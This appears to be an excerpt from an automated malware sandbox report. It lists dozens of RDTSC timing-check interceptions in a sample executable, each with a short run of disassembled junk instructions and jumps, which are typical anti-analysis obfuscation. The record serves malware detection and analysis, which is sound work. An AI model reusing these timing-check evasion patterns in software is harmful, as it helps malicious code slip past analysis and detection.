Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 280978 second address: 28098E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FCE94E61210h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2811B4 second address: 2811B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2814E7 second address: 2814F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 jl 00007FCE94E61212h 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 288DBB second address: 288DCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 288DCD second address: 288DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FCE94E6120Ch 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FCE94E6120Fh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28CBC2 second address: 28CBC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28CBC8 second address: 28CBCC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28CBCC second address: 28CBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28BD98 second address: 28BD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28BD9C second address: 28BDAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007FCE94BEBC16h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28BDAF second address: 28BDB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28BDB4 second address: 28BDC7 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCE94BEBC18h 0x00000008 push edi 0x00000009 jc 00007FCE94BEBC16h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28BDC7 second address: 28BDD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jng 00007FCE94E61227h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C04C second address: 28C05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCE94BEBC16h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C05A second address: 28C066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FCE94E61206h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C1C1 second address: 28C1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C1D7 second address: 28C1E1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCE94E6120Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C5AF second address: 28C5F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b push eax 0x0000000c je 00007FCE94BEBC16h 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FCE94BEBC22h 0x0000001a jmp 00007FCE94BEBC25h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C761 second address: 28C77B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pushad 0x00000008 pushad 0x00000009 je 00007FCE94E61206h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jbe 00007FCE94E61206h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 28C77B second address: 28C79A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 293B71 second address: 293B7B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCE94E6120Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 293F42 second address: 293F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007FCE94BEBC16h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 293F53 second address: 293F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 293F57 second address: 293F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2940BF second address: 2940C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 294535 second address: 29453A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 294971 second address: 294975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 294975 second address: 29497B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2989B5 second address: 2989C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FCE94E61206h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2989C1 second address: 2989C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2989C5 second address: 2989CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2989CF second address: 2989D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FCE94BEBC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2989D9 second address: 298A01 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007FCE94E61217h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 298A01 second address: 298A05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 298A05 second address: 298A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1D1F53 second address: 1D1F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FCE94BEBC18h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1D1F60 second address: 1D1F65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1D1F65 second address: 1D1F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007FCE94BEBC16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1D1F72 second address: 1D1F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 29D778 second address: 29D797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC20h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e ja 00007FCE94BEBC16h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 29D797 second address: 29D7A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FCE94E61206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 29F138 second address: 29F13C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 29F13C second address: 29F15D instructions: 0x00000000 rdtsc 0x00000002 je 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FCE94E61217h 0x00000010 jmp 00007FCE94E6120Bh 0x00000015 jc 00007FCE94E61206h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2ABE6A second address: 2ABE6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AB8AF second address: 2AB8B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2ABA23 second address: 2ABA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2ABA2B second address: 2ABA2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AF4E8 second address: 2AF505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCE94BEBC23h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AF0AF second address: 2AF0B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AF0B3 second address: 2AF0B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AF0B7 second address: 2AF0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2AF0BD second address: 2AF0C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C09E6 second address: 2C09EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C09EA second address: 2C09F0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C09F0 second address: 2C09FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCE94E61206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C757C second address: 2C759B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jnl 00007FCE94BEBC16h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007FCE94BEBC1Bh 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C759B second address: 2C75A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C76CC second address: 2C76E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FCE94BEBC16h 0x0000000a jmp 00007FCE94BEBC1Fh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C76E6 second address: 2C76F0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCE94E6120Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C76F0 second address: 2C7714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 jmp 00007FCE94BEBC20h 0x0000000e jmp 00007FCE94BEBC1Ah 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C79B2 second address: 2C79C1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCE94E61206h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C79C1 second address: 2C79D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push edi 0x00000008 jns 00007FCE94BEBC16h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7DF0 second address: 2C7DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jns 00007FCE94E61206h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7DFD second address: 2C7E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7E05 second address: 2C7E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7E09 second address: 2C7E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7F49 second address: 2C7F60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007FCE94E6120Dh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2C7F60 second address: 2C7F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CB2F8 second address: 2CB317 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61218h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CB317 second address: 2CB31D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CE023 second address: 2CE027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CE027 second address: 2CE044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCE94BEBC23h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CDC17 second address: 2CDC21 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CDC21 second address: 2CDC3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FCE94BEBC21h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CDC3B second address: 2CDC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FCE94E61206h 0x0000000a je 00007FCE94E61206h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ecx 0x00000014 jng 00007FCE94E61208h 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2CDD9C second address: 2CDDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FCE94BEBC21h 0x0000000c jmp 00007FCE94BEBC27h 0x00000011 jnl 00007FCE94BEBC16h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a js 00007FCE94BEBC16h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2D76BC second address: 2D76C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2DC144 second address: 2DC151 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DA28D second address: 1DA291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DA291 second address: 1DA2A1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FCE94BEBC16h 0x00000008 ja 00007FCE94BEBC16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2ED01F second address: 2ED032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCE94E61206h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2ED032 second address: 2ED038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3023ED second address: 30240B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCE94E61216h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3025BD second address: 3025C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3025C7 second address: 3025EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push ecx 0x0000000c jmp 00007FCE94E61219h 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 30272B second address: 302761 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007FCE94BEBC16h 0x00000009 jmp 00007FCE94BEBC21h 0x0000000e pop ebx 0x0000000f jbe 00007FCE94BEBC1Ah 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jnp 00007FCE94BEBC18h 0x00000023 pushad 0x00000024 push eax 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 302761 second address: 302778 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94E61210h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 302B4B second address: 302B70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FCE94BEBC28h 0x00000008 pop edi 0x00000009 pushad 0x0000000a jng 00007FCE94BEBC16h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 302FB9 second address: 302FCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FCE94E6120Ah 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 302FCB second address: 302FE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FCE94BEBC16h 0x00000009 jmp 00007FCE94BEBC1Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 303134 second address: 303138 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 305FCF second address: 305FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94BEBC1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 3060CB second address: 3060D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 30639A second address: 30639E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 30639E second address: 3063A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
